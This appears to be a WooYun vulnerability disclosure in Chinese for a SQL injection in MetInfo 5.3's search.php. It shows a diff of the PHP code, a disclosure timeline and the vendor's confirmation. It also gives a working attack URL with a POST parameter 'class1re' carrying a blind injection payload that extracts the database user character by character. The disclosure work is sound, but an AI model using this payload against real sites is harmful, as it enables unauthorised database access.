漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:
MetInfo5.3 最新版本SQL注射(可获取部分数据)
>
漏洞详情 披露状态:
2015-06-09: 细节已通知厂商并且等待厂商处理中 2015-06-10: 厂商已经确认,细节仅向厂商公开 2015-06-13: 细节向第三方安全合作伙伴开放 2015-08-04: 细节向核心白帽子及相关领域专家公开 2015-08-14: 细节向普通白帽子公开 2015-08-24: 细节向实习白帽子公开 2015-09-08: 细节向公众公开
简要描述: MetInfo5.3 最新版本SQL注射(可获取部分数据)
详细说明: 参考: WooYun: MetInfo5.3 最新版本SQL注射(可获取部分数据) 经过代码对比: old:
$module=intval($module); if($class1)$module=0; if(intval($module)){ $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' "; }else{ $class1_info=$class_list[$class1]; if(!$class1_info)okinfo('../',$pagelang[noid]); $class1sql=" class1='$class1' "; $class2sql=" class2='$class2' "; $class3sql=" class3='$class3' "; if($class1&&!$class2&&!$class3){ foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){ if($val['releclass']==$class1){ $class1re.=" or class1='$val[id]' "; } } if($class1re){ $class1sql='('.$class1sql.$class1re.')'; } }
new:
else{ $module=intval($module); if($class1)$module=0; if(intval($module)){ $serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' "; }else{ $class1_info=$class_list[$class1]; if(!$class1_info)okinfo('../',$pagelang[noid]); $class1sql=" class1='$class1' "; $class2sql=" class2='$class2' "; $class3sql=" class3='$class3' "; if($_GET['class1re']){ $class1re = ''; } if($class1&&!$class2&&!$class3){ foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){ if($val['releclass']==$class1){ $class1re.=" or class1='$val[id]' "; } } if($class1re){ $class1sql='('.$class1sql.$class1re.')'; } } if($class_list[$class2]['releclass']){ $class1sql=" class1='$class2' "; $class2sql=" class2='$class3' "; $class3sql=""; } $serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql "; if($class2&&$class2sql)$serch_sql .= " and $class2sql "; if($class3&&$class3sql)$serch_sql .= " and $class3sql "; $order_sql=" order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc"; }
不同的地方在于: if($_GET['class1re']){ $class1re = ''; } 这个变量初始化。出现了问题,由于metinfo采用的是全局伪变量,post也是可以解析的 所以我们发送url: http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=1&searchword=1&lang=cn postdate: class1re=xxxxxx 抓取后台sql: SELECT * FROM met_news where lang='cn' and (recycle='0' or recycle='-1') and displaytype='1' and ( class1='2' xxxxxx) and title like '%1%' order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 10 进行构造: http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=1&searchword=1&lang=cn postdata: class1re=) and if(ascii(substr(user(),1,1))=$NUM,1,0)-- sd 我们测试一下 当$NUM=114时候页面为:
当$NUM=115时候页面为:
这样说明这个字母为r 后续的就不用证明了
漏洞证明: 修复方案:
>
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:20
确认时间:2015-06-10 12:03
厂商回复: 是BUG,后续版本中修复。
最新状态: 暂无